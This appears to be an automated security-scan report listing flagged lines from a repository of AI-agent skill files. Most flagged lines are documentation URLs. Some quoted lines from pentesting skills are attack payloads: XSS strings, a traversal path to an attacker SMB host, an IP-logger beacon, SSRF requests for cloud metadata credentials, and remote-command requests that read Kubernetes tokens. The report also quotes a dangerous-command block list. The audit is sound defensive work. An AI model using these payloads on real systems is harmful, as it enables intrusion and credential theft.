- [Angular Update Guide](https://angular.dev/update-guide) - Network accessline 809
- [Angular Blog](https://blog.angular.dev)
skills/angular/metadata.json
- Network accessline 5
"abstract": "Comprehensive guide to modern Angular development (v20+) designed for AI agents and LLMs. Covers Signals, Standalone Components, Zoneless applications, SSR/Hydration, reactive patterns, routing, dependency injection, and modern - Network accessline 6
"references": [ "https://angular.dev", "https://angular.dev/guide/signals", - Network accessline 7
"https://angular.dev", - Network accessline 8
"https://angular.dev/guide/signals", - Network accessline 9
"https://angular.dev/guide/zoneless", - Network accessline 10
"https://angular.dev/guide/ssr", - Network accessline 11
"https://angular.dev/guide/standalone-components", - Network accessline 12
"https://angular.dev/guide/defer"
skills/api-design-principles/assets/rest-api-template.py
- Executable scriptline 1
Executable file
skills/api-design-principles/references/rest-best-practices.md
- Network accessline 142
Response Headers: Link: <https://api.example.com/users?page=3>; rel="next", - Network accessline 143
Link: <https://api.example.com/users?page=3>; rel="next", - Network accessline 144
<https://api.example.com/users?page=1>; rel="prev", - Network accessline 145
<https://api.example.com/users?page=1>; rel="first", - Network accessline 146
<https://api.example.com/users?page=8>; rel="last" - Network accessline 345
app.add_middleware( CORSMiddleware, allow_origins=["https://example.com"], - Network accessline 346
CORSMiddleware, allow_origins=["https://example.com"], allow_credentials=True, - Network accessline 347
allow_origins=["https://example.com"],
skills/api-documentation-generator/SKILL.md
- Network accessline 58
**Code Examples:** - cURL command - Network accessline 59
- cURL command - Network accessline 147
**Example Request (cURL):** \`\`\`bash curl -X POST https://api.example.com/api/v1/users \ - Network accessline 148
[Credential-related source omitted] - Network accessline 149
curl -X POST https://api.example.com/api/v1/users \ - Network accessline 159
**Example Request (JavaScript):** \`\`\`javascript const response = await fetch('https://api.example.com/api/v1/users', { - Network accessline 160
\`\`\`javascript const response = await fetch('https://api.example.com/api/v1/users', { method: 'POST', - Network accessline 161
const response = await fetch('https://api.example.com/api/v1/users', { - Network accessline 182
response = requests.post( - Network accessline 183
'https://api.example.com/api/v1/users', - Network accessline 453
"info": { "name": "My API", "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" - Network accessline 454
"name": "My API", "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" }, - Network accessline 455
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json" - Network accessline 478
- [OpenAPI Specification](https://swagger.io/specification/) - Network accessline 479
- [REST API Best Practices](https://restfulapi.net/) - Network accessline 480
- [GraphQL Documentation](https://graphql.org/learn/) - Network accessline 481
- [API Design Patterns](https://www.apiguide.com/) - Network accessline 482
- [Postman Documentation](https://learning.postman.com/docs/)
skills/api-documenter/SKILL.md
skills/api-fuzzing-bug-bounty/SKILL.md
- Network accessline 59
# Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite - Network accessline 60
kr scan https://target.com -w routes-large.kite - Network accessline 147
<object data="http://127.0.0.1:8443"/> - Network accessline 148
<img src="http://127.0.0.1:445"/> - Network accessline 154
# If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png - Network accessline 155
# Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config - Network accessline 156
https://example.org/download?filename=a.png - Network accessline 157
https://example.org/download?filename=C:\inetpub\wwwroot\web.config - Network accessline 158
https://example.org/download?filename=\\smb.dns.attacker.com\a.png - Network accessline 251
# XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}} - Network accessline 252
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}} - Network accessline 254
# URL-encoded XSS http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E - Network accessline 255
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E - Network accessline 300
<!-- SSRF via PDF export --> <object data="http://127.0.0.1:8443"/> - Network accessline 301
<object data="http://127.0.0.1:8443"/> - Network accessline 303
<!-- Port scanning --> <img src="http://127.0.0.1:445"/> - Network accessline 304
<img src="http://127.0.0.1:445"/> - Network accessline 306
<!-- IP disclosure --> <img src="https://iplogger.com/yourcode.gif"/> - Network accessline 307
<img src="https://iplogger.com/yourcode.gif"/> - Network accessline 420
curl -X POST https://target.com/graphql \
skills/api-patterns/scripts/api_validator.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/api-security-best-practices/SKILL.md
- Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 268
[Credential-related source omitted] - Access to secretsline 297
[Credential-related source omitted] - Access to secretsline 737
[Credential-related source omitted] - Network accessline 901
- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/) - Network accessline 902
- [JWT Best Practices](https://tools.ietf.org/html/rfc8725) - Network accessline 903
- [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html) - Network accessline 904
- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/) - Network accessline 905
- [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)
skills/api-testing-observability-api-mock/resources/implementation-playbook.md
- Network accessline 1044
// Make request const response = await fetch('http://localhost:3001/api/users/123'); - Network accessline 1045
const response = await fetch('http://localhost:3001/api/users/123'); - Network accessline 1156
- ./scenarios:/data/scenarios healthcheck: test: ["CMD", "curl", "-f", "http://localhost:3001/health"] - Network accessline 1157
healthcheck: test: ["CMD", "curl", "-f", "http://localhost:3001/health"] interval: 30s - Network accessline 1158
test: ["CMD", "curl", "-f", "http://localhost:3001/health"] - Network accessline 1168
- "3002:3002" environment: - MOCK_SERVER_URL=http://mock-api:3001 - Network accessline 1169
environment: - MOCK_SERVER_URL=http://mock-api:3001 depends_on: - Network accessline 1170
- MOCK_SERVER_URL=http://mock-api:3001 - Network accessline 1274
<head> <title>Mock API Interactive Documentation</title> <script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script> - Network accessline 1275
<title>Mock API Interactive Documentation</title> <script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script> <link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist/swagger-ui.css"> - Network accessline 1276
<script src="https://unpkg.com/swagger-ui-dist/swagger-ui-bundle.js"></script> - Network accessline 1277
<link rel="stylesheet" href="https://unpkg.com/swagger-ui-dist/swagger-ui.css">
skills/app-builder/SKILL.md
- Broad permissionsline 1
Read, Write, Edit, Glob, Grep, Bash, Agent
skills/app-builder/templates/nextjs-saas/TEMPLATE.md
- Access to secretsline 79
[Credential-related source omitted]
skills/app-store-optimization/ab_test_planner.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/aso_scorer.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/competitor_analyzer.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/keyword_analyzer.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/launch_checklist.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/localization_helper.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/metadata_optimizer.py
- Executable scriptline 1
Executable file
skills/app-store-optimization/review_analyzer.py
- Executable scriptline 1
Executable file
skills/architecture-decision-records/SKILL.md
- Network accessline 157
- [PostgreSQL JSON Documentation](https://www.postgresql.org/docs/current/datatype-json.html) - Network accessline 158
- [PostgreSQL Full Text Search](https://www.postgresql.org/docs/current/textsearch.html) - Network accessline 323
- [Event Sourcing by Martin Fowler](https://martinfowler.com/eaaDev/EventSourcing.html) - Network accessline 324
- [EventStoreDB Documentation](https://www.eventstore.com/docs) - Network accessline 440
- [Documenting Architecture Decisions (Michael Nygard)](https://cognitect.com/blog/2011/11/15/documenting-architecture-decisions) - Network accessline 441
- [MADR Template](https://adr.github.io/madr/) - Network accessline 442
- [ADR GitHub Organization](https://adr.github.io/) - Network accessline 443
- [adr-tools](https://github.com/npryce/adr-tools)
skills/architecture-patterns/resources/implementation-playbook.md
skills/asana-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/async-python-patterns/resources/implementation-playbook.md
- Network accessline 64
async def main(): result = await fetch_data("https://api.example.com") - Network accessline 65
result = await fetch_data("https://api.example.com") - Network accessline 246
print("\nFetching pages:") async for page_data in fetch_pages("https://api.example.com/items", 3): - Network accessline 247
async for page_data in fetch_pages("https://api.example.com/items", 3): - Network accessline 329
async def main(): urls = [f"https://api.example.com/item/{i}" for i in range(20)] - Network accessline 330
urls = [f"https://api.example.com/item/{i}" for i in range(20)] results = await rate_limited_requests(urls, max_concurrent=3) print(f"Completed {len(results)} requests") - Network accessline 390
"""Fetch single URL.""" try: async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response: - Network accessline 391
try: async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response: text = await response.text() - Network accessline 392
async with session.get(url, timeout=aiohttp.ClientTimeout(total=10)) as response: - Network accessline 402
async def scrape_urls(urls: List[str]) -> List[Dict]: """Scrape multiple URLs concurrently.""" async with aiohttp.ClientSession() as session: - Network accessline 403
"""Scrape multiple URLs concurrently.""" async with aiohttp.ClientSession() as session: tasks = [fetch_url(session, url) for url in urls] - Network accessline 404
async with aiohttp.ClientSession() as session: - Network accessline 409
async def main(): urls = [ "https://httpbin.org/delay/1", - Network accessline 410
urls = [ "https://httpbin.org/delay/1", "https://httpbin.org/delay/2", - Network accessline 411
"https://httpbin.org/delay/1", - Network accessline 412
"https://httpbin.org/delay/2", - Network accessline 413
"https://httpbin.org/status/404", - Network accessline 533
async def with_connection_pool(): """Use connection pool for efficiency.""" connector = aiohttp.TCPConnector(limit=100, limit_per_host=10) - Network accessline 535
connector = aiohttp.TCPConnector(limit=100, limit_per_host=10) - Network accessline 537
async with aiohttp.ClientSession(connector=connector) as session: - Network accessline 538
tasks = [session.get(f"https://api.example.com/item/{i}") for i in range(50)] - Network accessline 647
async def test_async_function(): """Test async function.""" result = await fetch_data("https://api.example.com") - Network accessline 648
"""Test async function.""" result = await fetch_data("https://api.example.com") assert result is not None - Network accessline 649
result = await fetch_data("https://api.example.com") - Network accessline 661
- **Python asyncio documentation**: https://docs.python.org/3/library/asyncio.html - **aiohttp**: Async HTTP client/server
skills/attack-tree-construction/resources/implementation-playbook.md
- Network accessline 669
- [Attack Trees by Bruce Schneier](https://www.schneier.com/academic/archives/1999/12/attack_trees.html) - Network accessline 670
- [MITRE ATT&CK Framework](https://attack.mitre.org/) - Network accessline 671
- [OWASP Attack Surface Analysis](https://owasp.org/www-community/controls/Attack_Surface_Analysis_Cheat_Sheet)
skills/audio-transcriber/CHANGELOG.md
skills/audio-transcriber/README.md
- Network accessline 73
# Follow: https://docs.anthropic.com/en/docs/claude-cli - Network accessline 333
Found a bug or have a feature request? Open an issue in the [cli-ai-skills repository](https://github.com/yourusername/cli-ai-skills). - Network accessline 334
Open an issue in the [cli-ai-skills repository](https://github.com/yourusername/cli-ai-skills).
skills/audio-transcriber/SKILL.md
skills/audio-transcriber/examples/basic-transcription.sh
skills/audio-transcriber/references/tools-comparison.md
- Access to secretsline 218
[Credential-related source omitted] - Access to secretsline 228
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted] - Access to secretsline 277
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted]
skills/audio-transcriber/scripts/install-requirements.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 60
else echo -e "${YELLOW}⚠<U+FE0F> Homebrew not found. Install manually if needed:${NC}" echo " /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"" - Network accessline 61
echo -e "${YELLOW}⚠<U+FE0F> Homebrew not found. Install manually if needed:${NC}" echo " /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"" fi - Network accessline 62
echo " /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\"" - Dangerous shell operationline 130
echo " sudo apt install ffmpeg # Debian/Ubuntu" - Dangerous shell operationline 131
echo " sudo yum install ffmpeg # CentOS/RHEL"
skills/audio-transcriber/scripts/transcribe.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/auth-implementation-patterns/resources/implementation-playbook.md
- Access to secretsline 58
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 222
[Credential-related source omitted] - Access to secretsline 290
[Credential-related source omitted]
skills/automate-whatsapp/SKILL.md
- Network accessline 2
name: automate-whatsapp description: "Build WhatsApp automations with Kapso workflows: configure WhatsApp triggers, edit workflow graphs, manage executions, deploy functions, and use databases/integrations for state. Use when automatin..." - Network accessline 3
description: "Build WhatsApp automations with Kapso workflows: configure WhatsApp triggers, edit workflow graphs, manage executions, deploy functions, and use databases/integrations for state. Use when automatin..." source: "https://github. - Network accessline 4
source: "https://github.com/gokapso/agent-skills/tree/master/skills/automate-whatsapp" - Access to secretsline 18
[Credential-related source omitted]
skills/autonomous-agent-patterns/SKILL.md
- Network accessline 10
> Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex). - Dangerous shell operationline 351
if any(danger in cmd for danger in ["rm -rf", "sudo", "chmod"]): - Access to secretsline 399
[Credential-related source omitted] - Network accessline 589
def add_url(self, url: str) -> None: """@url - Fetch and add URL content""" response = requests.get(url) - Network accessline 590
"""@url - Fetch and add URL content""" response = requests.get(url) content = html_to_markdown(response.text) - Network accessline 591
response = requests.get(url) - Network accessline 760
- [Cline](https://github.com/cline/cline) - Network accessline 761
- [OpenAI Codex](https://github.com/openai/codex) - Network accessline 762
- [Model Context Protocol](https://modelcontextprotocol.io/) - Network accessline 763
- [Anthropic Tool Use](https://docs.anthropic.com/claude/docs/tool-use)
skills/avalonia-layout-zafiro/icons.md
- Network accessline 42
<ResourceDictionary xmlns="https://github.com/avaloniaui">
skills/aws-penetration-testing/SKILL.md
- Network accessline 37
| Tool | Purpose | Installation | |------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | - Network accessline 38
|------|---------|--------------| | Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | | SkyArk | Shadow Admin discovery | `Import-Module .\SkyArk.ps1` | - Network accessline 39
| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` | - Network accessline 41
| Prowler | Security auditing | `pip install prowler` | | ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | - Network accessline 42
| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` | | enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | | Principal Mapper | IAM analysis | `pip install principalmapper` | - Network accessline 43
| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` | - Network accessline 97
# Access metadata endpoint http://169.254.169.254/latest/meta-data/ - Network accessline 98
http://169.254.169.254/latest/meta-data/ - Network accessline 100
# Get IAM role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 101
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 103
# Extract temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME - Network accessline 104
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME - Network accessline 118
[Credential-related source omitted] - Network accessline 119
[Credential-related source omitted] - Network accessline 120
"http://169.254.169.254/latest/api/token") - Network accessline 122
[Credential-related source omitted] - Network accessline 123
[Credential-related source omitted] - Network accessline 124
"http://169.254.169.254/latest/meta-data/iam/security-credentials/" - Network accessline 134
# Access credentials http://169.254.170.2/v2/credentials/CREDENTIAL-PATH - Network accessline 135
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH - Network accessline 209
# Common bucket URL patterns https://{bucket-name}.s3.amazonaws.com - Network accessline 210
https://{bucket-name}.s3.amazonaws.com - Network accessline 211
https://s3.amazonaws.com/{bucket-name} - Network accessline 230
https://buckets.grayhatwarfare.com/ - Dangerous shell operationline 286
sudo mkdir /mnt/stolen - Dangerous shell operationline 287
sudo mount /dev/xvdf1 /mnt/stolen - Network accessline 308
git clone https://github.com/NetSPI/aws_consoler - Network accessline 345
| List EC2 | `aws ec2 describe-instances` | | List Lambda | `aws lambda list-functions` | | Get metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 347
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` | - Network accessline 375
# 1. Find SSRF vulnerability in web app https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 376
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ - Network accessline 378
# 2. Get role name from response # 3. Extract credentials https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole - Network accessline 380
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole - Access to secretsline 384
[Credential-related source omitted] - Access to secretsline 385
[Credential-related source omitted]
skills/aws-penetration-testing/references/advanced-aws-pentesting.md
- Network accessline 40
git clone https://github.com/duo-labs/cloudmapper.git - Network accessline 61
git clone https://github.com/nccgroup/s3_objects_check - Network accessline 67
# Finds secrets exposed via Amazon EBS's "public" mode git clone https://github.com/BishopFox/dufflebag - Network accessline 68
git clone https://github.com/BishopFox/dufflebag - Network accessline 108
# Get function details and download code aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query" - Network accessline 110
wget -O lambda-function.zip "url-from-previous-query" - Network accessline 148
# Via RCE - get environment variables https://apigateway/prod/system?cmd=env - Network accessline 149
https://apigateway/prod/system?cmd=env - Network accessline 151
# Via SSRF - access runtime API https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ - Network accessline 152
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ - Network accessline 154
# Via file read https://apigateway/prod/system?cmd=file:///proc/self/environ - Network accessline 155
https://apigateway/prod/system?cmd=file:///proc/self/environ - Network accessline 182
# Invoke backdoored function curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT - Network accessline 183
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT - Network accessline 312
# List Kubernetes secrets https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount - Network accessline 313
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount - Network accessline 315
# Get service account token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token - Network accessline 316
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
skills/aws-serverless/SKILL.md
skills/aws-skills/SKILL.md
- Network accessline 2
name: aws-skills description: "AWS development with infrastructure automation and cloud architecture patterns" source: "https://github.com/zxkane/aws-skills" - Network accessline 3
description: "AWS development with infrastructure automation and cloud architecture patterns" source: "https://github.com/zxkane/aws-skills" risk: safe - Network accessline 4
source: "https://github.com/zxkane/aws-skills" - Network accessline 22
For more information, see the [source repository](https://github.com/zxkane/aws-skills).
skills/azd-deployment/SKILL.md
- Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Network accessline 145
# Set for current environment azd env set AZURE_OPENAI_ENDPOINT "https://my-openai.openai.azure.com" - Network accessline 146
azd env set AZURE_OPENAI_ENDPOINT "https://my-openai.openai.azure.com" - Network accessline 147
azd env set AZURE_SEARCH_ENDPOINT "https://my-search.search.windows.net" - Access to secretsline 157
[Credential-related source omitted] - Network accessline 215
{ name: 'BACKEND_URL' value: 'http://ca-backend-${resourceToken}' // Internal DNS - Network accessline 216
name: 'BACKEND_URL' value: 'http://ca-backend-${resourceToken}' // Internal DNS } - Network accessline 217
value: 'http://ca-backend-${resourceToken}' // Internal DNS - Access to secretsline 295
[Credential-related source omitted]
skills/azure-ai-agents-persistent-dotnet/SKILL.md
- Network accessline 346
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent | - Network accessline 347
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.agents.persistent | - Network accessline 348
| NuGet Package | https://www.nuget.org/packages/Azure.AI.Agents.Persistent | - Network accessline 349
| API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.agents.persistent | - Network accessline 350
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Agents.Persistent | - Network accessline 351
| Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Agents.Persistent/samples |
skills/azure-ai-agents-persistent-java/SKILL.md
- Network accessline 136
| Resource | URL | |----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent | - Network accessline 137
|----------|-----| | Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent | | GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-agents-persistent | - Network accessline 138
| Maven Package | https://central.sonatype.com/artifact/com.azure/azure-ai-agents-persistent | - Network accessline 139
| GitHub Source | https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/ai/azure-ai-agents-persistent |
skills/azure-ai-anomalydetector-java/SKILL.md
- Access to secretsline 34
[Credential-related source omitted] - Network accessline 139
// Prepare training request with blob storage data ModelInfo modelInfo = new ModelInfo() .setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken") - Network accessline 140
ModelInfo modelInfo = new ModelInfo() .setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken") .setStartTime(OffsetDateTime.parse("2023-01-01T00:00:00Z")) - Network accessline 141
.setDataSource("https://storage.blob.core.windows.net/container/data.zip?sasToken") - Network accessline 161
MultivariateBatchDetectionOptions detectionOptions = new MultivariateBatchDetectionOptions() .setDataSource("https://storage.blob.core.windows.net/container/inference-data.zip?sasToken") - Network accessline 162
.setDataSource("https://storage.blob.core.windows.net/container/inference-data.zip?sasToken") - Access to secretsline 239
[Credential-related source omitted]
skills/azure-ai-contentsafety-java/SKILL.md
skills/azure-ai-contentsafety-py/SKILL.md
- Access to secretsline 38
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 105
request = AnalyzeImageOptions( image=ImageData(blob_url="https://example.com/image.jpg") - Network accessline 106
image=ImageData(blob_url="https://example.com/image.jpg")
skills/azure-ai-contentsafety-ts/SKILL.md
- Access to secretsline 38
[Credential-related source omitted] - Network accessline 104
const result = await client.path("/image:analyze").post({ body: { image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" } - Network accessline 105
body: { image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" } } - Network accessline 106
image: { blobUrl: "https://storage.blob.core.windows.net/container/image.png" }
skills/azure-ai-contentunderstanding-py/SKILL.md
- Access to secretsline 34
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 72
poller = client.begin_analyze( analyzer_id="prebuilt-documentSearch", inputs=[AnalyzeInput(url="https://example.com/document.pdf")] - Network accessline 73
analyzer_id="prebuilt-documentSearch", inputs=[AnalyzeInput(url="https://example.com/document.pdf")] ) - Network accessline 74
inputs=[AnalyzeInput(url="https://example.com/document.pdf")] - Network accessline 100
poller = client.begin_analyze( analyzer_id="prebuilt-imageSearch", inputs=[AnalyzeInput(url="https://example.com/image.jpg")] - Network accessline 101
analyzer_id="prebuilt-imageSearch", inputs=[AnalyzeInput(url="https://example.com/image.jpg")] ) - Network accessline 102
inputs=[AnalyzeInput(url="https://example.com/image.jpg")] - Network accessline 114
poller = client.begin_analyze( analyzer_id="prebuilt-videoSearch", inputs=[AnalyzeInput(url="https://example.com/video.mp4")] - Network accessline 115
analyzer_id="prebuilt-videoSearch", inputs=[AnalyzeInput(url="https://example.com/video.mp4")] ) - Network accessline 116
inputs=[AnalyzeInput(url="https://example.com/video.mp4")] - Network accessline 138
poller = client.begin_analyze( analyzer_id="prebuilt-audioSearch", inputs=[AnalyzeInput(url="https://example.com/audio.mp3")] - Network accessline 139
analyzer_id="prebuilt-audioSearch", inputs=[AnalyzeInput(url="https://example.com/audio.mp3")] ) - Network accessline 140
inputs=[AnalyzeInput(url="https://example.com/audio.mp3")] - Network accessline 184
poller = client.begin_analyze( analyzer_id="my-invoice-analyzer", inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")] - Network accessline 185
analyzer_id="my-invoice-analyzer", inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")] ) - Network accessline 186
inputs=[AnalyzeInput(url="https://example.com/invoice.pdf")] - Access to secretsline 221
[Credential-related source omitted] - Network accessline 228
poller = await client.begin_analyze( analyzer_id="prebuilt-documentSearch", inputs=[AnalyzeInput(url="https://example.com/doc.pdf")] - Network accessline 229
analyzer_id="prebuilt-documentSearch", inputs=[AnalyzeInput(url="https://example.com/doc.pdf")] ) - Network accessline 230
inputs=[AnalyzeInput(url="https://example.com/doc.pdf")]
skills/azure-ai-document-intelligence-dotnet/SKILL.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 81
Uri invoiceUri = new Uri("https://example.com/invoice.pdf"); - Network accessline 123
Uri fileUri = new Uri("https://example.com/document.pdf"); - Network accessline 237
string classifierId = "my-classifier"; Uri documentUri = new Uri("https://example.com/document.pdf"); - Network accessline 238
Uri documentUri = new Uri("https://example.com/document.pdf"); - Network accessline 333
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence | - Network accessline 334
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.documentintelligence | - Network accessline 335
| NuGet Package | https://www.nuget.org/packages/Azure.AI.DocumentIntelligence | - Network accessline 336
| API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.documentintelligence | - Network accessline 337
| GitHub Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/documentintelligence/Azure.AI.DocumentIntelligence/samples | - Network accessline 338
| Document Intelligence Studio | https://documentintelligence.ai.azure.com/ | - Network accessline 339
| Prebuilt Models | https://aka.ms/azsdk/formrecognizer/models |
skills/azure-ai-document-intelligence-ts/SKILL.md
- Access to secretsline 23
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Network accessline 65
contentType: "application/json", body: { urlSource: "https://example.com/document.pdf" - Network accessline 66
body: { urlSource: "https://example.com/document.pdf" }, - Network accessline 67
urlSource: "https://example.com/document.pdf"
skills/azure-ai-formrecognizer-java/SKILL.md
- Network accessline 130
String documentUrl = "https://example.com/invoice.pdf";
skills/azure-ai-ml-py/SKILL.md
skills/azure-ai-openai-dotnet/SKILL.md
- Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 78
BearerTokenPolicy tokenPolicy = new( new DefaultAzureCredential(), "https://cognitiveservices.azure.com/.default"); - Network accessline 80
"https://cognitiveservices.azure.com/.default"); - Network accessline 85
options: new OpenAIClientOptions() { Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1") - Network accessline 86
{ Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1") }); - Network accessline 87
Endpoint = new Uri("https://YOUR-RESOURCE.openai.azure.com/openai/v1") - Network accessline 451
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI | - Network accessline 452
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.openai | - Network accessline 453
| NuGet Package | https://www.nuget.org/packages/Azure.AI.OpenAI | - Network accessline 454
| API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.openai | - Network accessline 455
| Migration Guide (1.0→2.0) | https://learn.microsoft.com/azure/ai-services/openai/how-to/dotnet-migration | - Network accessline 456
| Quickstart | https://learn.microsoft.com/azure/ai-services/openai/quickstart | - Network accessline 457
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/openai/Azure.AI.OpenAI |
skills/azure-ai-projects-dotnet/SKILL.md
- Network accessline 273
uri = new Uri($"https://{uri.Host}"); - Network accessline 345
| Resource | URL | |----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects | - Network accessline 346
|----------|-----| | NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects | | API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.projects | - Network accessline 347
| NuGet Package | https://www.nuget.org/packages/Azure.AI.Projects | - Network accessline 348
| API Reference | https://learn.microsoft.com/dotnet/api/azure.ai.projects | - Network accessline 349
| GitHub Source | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Projects | - Network accessline 350
| Samples | https://github.com/Azure/azure-sdk-for-net/tree/main/sdk/ai/Azure.AI.Projects/samples |
skills/azure-ai-projects-java/SKILL.md
- Network accessline 149
| Resource | URL | |----------|-----| | Product Docs | https://learn.microsoft.com/azure/ai-studio/ | - Network accessline 150
|----------|-----| | Product Docs | https://learn.microsoft.com/azure/ai-studio/ | | API Reference | https://learn.microsoft.com/rest/api/aifoundry/aiprojects/ | - Network accessline 151
| Product Docs | https://learn.microsoft.com/azure/ai-studio/ | - Network accessline 152
